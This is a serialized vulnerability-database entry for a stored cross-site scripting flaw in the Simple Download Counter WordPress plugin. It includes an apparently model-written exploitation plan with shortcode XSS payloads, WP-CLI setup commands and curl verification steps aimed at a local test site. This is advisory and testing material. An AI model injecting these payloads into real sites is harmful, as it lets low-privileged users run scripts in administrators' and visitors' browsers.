[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3tsni160jW-hEZQK6dXc0GRlqn5YYMO3AEfLXIbswxI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":29,"research_started_at":30,"research_completed_at":31,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":32},"CVE-2026-4278","simple-download-counter-authenticated-contributor-stored-cross-site-scripting-via-text-shortcode-attribute","Simple Download Counter \u003C= 2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'text' Shortcode Attribute","The Simple Download Counter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sdc_menu' shortcode in all versions up to, and including, 2.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes, specifically the 'text' and 'cat' attributes. The 'text' attribute is output directly into HTML content on line 159 without any escaping (e.g., esc_html()). The 'cat' attribute is used unescaped in HTML class attributes on lines 135 and 157 without esc_attr(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","simple-download-counter",null,"\u003C=2.3","2.3.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-25 00:00:00","2026-03-26 03:37:29",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff23dec73-9031-4829-a84b-4979c8e8ded4?source=api-prod",1,[22,23,24],"inc\u002Ffunctions-shortcode.php","readme.txt","simple-download-counter.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4278 - Simple Download Counter Stored XSS\n\n## 1. Vulnerability Summary\nThe **Simple Download Counter** plugin (up to version 2.3) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode `[sdc_menu]` which processes user-supplied attributes. Specifically, the `text` and `cat` attributes are concatenated directly into the HTML output without being sanitized or escaped using WordPress security functions like `esc_html()` or `esc_attr()`. This allows an authenticated user with at least **Contributor** permissions (who can create posts and use shortcodes) to inject malicious scripts that execute in the context of any user viewing the affected page.\n\n## 2. Attack Vector Analysis\n- **Shortcode:** `[sdc_menu]`\n- **Vulnerable Attributes:** `text`, `cat`\n- **Authentication Level:** Authenticated (Contributor+)\n- **Endpoint:** Post\u002FPage editor (to save the shortcode) and the Frontend (where the shortcode is rendered).\n- **Preconditions:** The attacker must be able to save a post or page containing the shortcode. In standard WordPress configurations, Contributors can save drafts. The XSS will trigger when an Admin reviews the draft or if the post is published and viewed.\n\n## 3. Code Flow\n1.  **Entry Point:** The shortcode is registered in `simple-download-counter.php` via:\n    `add_shortcode('sdc_menu', 'simple_download_counter_menu');`\n2.  **Attribute Extraction:** Inside `inc\u002Ffunctions-shortcode.php`, the function `simple_download_counter_menu($atts)` is called. It uses `shortcode_atts` to define defaults and extract user input:\n    ```php\n    extract(shortcode_atts(array(\n        'cat'    => '',\n        'number' => 3,\n        'extra'  => 'false',\n        'text'   => 'Download more...',\n    ), $atts, 'sdc_menu'));\n    ```\n3.  **Vulnerable Sinks (Cat Attribute):**\n    - **Line 135:** `$output = '\u003Cul class=\"sdc-menu-list sdc-menu-list-'. $cat .'\">';`\n    - **Line 157:** `$output .= '\u003Cselect class=\"sdc-menu-select sdc-menu-select-'. $cat .'\" onchange=\"...\">';`\n4.  **Vulnerable Sink (Text Attribute):**\n    - **Line 159:** `$output .= '\u003Coption disabled selected>'. $text .'\u003C\u002Foption>';`\n5.  **Return:** The unsanitized `$output` is returned to the WordPress content filter and rendered in the browser.\n\n## 4. Nonce Acquisition Strategy\nShortcodes are executed server-side during the rendering of post content. There is **no nonce requirement** for a shortcode to execute on the frontend. The \"Stored\" part of the attack occurs during the standard post-saving process. For a Contributor to save a draft, they use the standard WordPress `post.php` or REST API endpoints, which are handled by the WordPress core's native CSRF protection. However, since the goal is to demonstrate the XSS rendering, we can bypass the manual UI and use WP-CLI to inject the payload directly into a post.\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate that an injected script executes when the post is viewed.\n\n### Step-by-Step Plan:\n1.  **Inject via `text` attribute:** This is the most straightforward payload as it sits inside an `\u003Coption>` tag.\n2.  **Inject via `cat` attribute:** This allows breaking out of an HTML attribute (`class`).\n\n### Payloads:\n- **`text` Payload:** `[sdc_menu cat=\"test\" extra=\"true\" text='\u003C\u002Foption>\u003Cscript>alert(\"XSS_TEXT_ATTR\")\u003C\u002Fscript>']`\n- **`cat` Payload:** `[sdc_menu cat='\">\u003Cscript>alert(\"XSS_CAT_ATTR\")\u003C\u002Fscript>' extra=\"true\"]`\n\n### Execution (HTTP Request via Agent):\nThe agent should navigate to the created post using `browser_navigate`. If the script executes, the XSS is confirmed.\n\n## 6. Test Data Setup\nUse WP-CLI to set up the environment efficiently:\n1.  **Create Contributor User:**\n    `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n2.  **Create a Download Category (required by line 118 check):**\n    `wp term create sdc_download_category \"Exploit Category\" --slug=exploit-cat`\n3.  **Create a Post with the Malicious Shortcode:**\n    ```bash\n    wp post create --post_type=post --post_status=publish --post_title=\"XSS Test\" --post_content='[sdc_menu cat=\"exploit-cat\" extra=\"true\" text=\"\u003C\u002Foption>\u003Cscript>console.log(\\\"CVE-2026-4278-SUCCESS\\\")\u003C\u002Fscript>\"]'\n    ```\n\n## 7. Expected Results\n1.  When the post is rendered, the HTML source at the location of the shortcode should look like:\n    ```html\n    \u003Cselect class=\"sdc-menu-select sdc-menu-select-exploit-cat\" ...>\n    \u003Coption disabled selected>\u003C\u002Foption>\u003Cscript>console.log(\"CVE-2026-4278-SUCCESS\")\u003C\u002Fscript>\u003C\u002Foption>\n    ...\n    \u003C\u002Fselect>\n    ```\n2.  The browser console should display `CVE-2026-4278-SUCCESS`.\n\n## 8. Verification Steps\n1.  **Verify Content Storage:**\n    `wp post get [POST_ID] --field=post_content`\n2.  **Verify Rendered Output (CLI):**\n    Use `curl` or `http_request` to fetch the frontend URL of the post and grep for the raw payload:\n    `curl -s http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID] | grep \"CVE-2026-4278-SUCCESS\"`\n3.  **Verify Execution:**\n    Use `browser_navigate` to the post URL and check for the console log or an alert box.\n\n## 9. Alternative Approaches\nIf the `cat` check at line 118 (`if (empty($cat))`) is strict or the taxonomy query fails in a way that prevents reaching line 159, ensure that:\n1.  A post of type `sdc_download` exists and is assigned to the category slug provided in the `cat` attribute.\n2.  **Fallback Payload (Cat Attribute):** Use `[sdc_menu cat='sdc-list\">\u003Cscript>alert(1)\u003C\u002Fscript>' number=\"3\"]`. This targets line 135:\n    `\u003Cul class=\"sdc-menu-list sdc-menu-list-sdc-list\">\u003Cscript>alert(1)\u003C\u002Fscript>\">`\n    This bypasses the need for the `extra=\"true\"` attribute and targets a different sink.","gemini-3-flash-preview","2026-04-17 23:00:55","2026-04-17 23:01:18",{"type":33,"vulnerable_version":34,"fixed_version":11,"vulnerable_browse":35,"vulnerable_zip":36,"fixed_browse":37,"fixed_zip":38,"all_tags":39},"plugin","2.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-download-counter\u002Ftags\u002F2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimple-download-counter.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-download-counter\u002Ftags\u002F2.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimple-download-counter.2.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-download-counter\u002Ftags"]